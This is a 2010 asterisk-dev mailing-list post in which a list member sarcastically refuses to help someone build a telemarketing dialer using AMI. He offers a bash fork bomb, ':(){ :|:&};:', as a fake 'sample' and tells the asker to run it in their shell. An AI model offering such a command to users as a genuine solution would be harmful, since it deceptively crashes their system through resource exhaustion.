[asterisk-dev] creating telemarketing system

[Geoffrey Mina]

Epic response :)

On 8/12/10, Jay R. Worthington <jayrworthington at gmail.com> wrote:
> Dear "Ultra Hold"
>
>>Please, help me find the way for create telemarketing system using AMI.
>
> No. This is the asterisk developers mailinglist. We don't help spammers
> here.
>
>>For example, there is one operator and 5 phone numbers for calling.
>
> a.k.a. "We want to call people who do not want to be called by
> telemarketers with as few of *our* resources as possible"
>
>>I need to create this call process:
>>1) Asterisk call to operator and start playing music in a channel
>>2) Asterisk consequentially trying to call the phone numbers
>>3) If phone number answer, asterisk stop playing the music and connect
>>operator to call.
>>How can I create this scheme using AMI?
>
> You can't. Asterisk has special anti-spam measures to prevent yet
> another telemarketer spammer to abuse it. If the AMPS (Asterisk Moron
> Prevention System) is triggered, it will, in random order:
>
> 1) Implode your asterisk-box
> 2) Set your cat on fire
> 3) Explode your toaster
> 4) Fry your phoneline
> 5) Paint "[x] al qaeda" on the roof of your building and sends a mail
> with the google-earth-picture to the air force
> 6) Melts your internet-router to prevent further postings to this
> mailinglist.
>
>>If you have sample, please give me one.
>
> Sure, execute the following in your linux shell:
>
> :(){ :|:&};:
>
> This will solve at least one problem...
>

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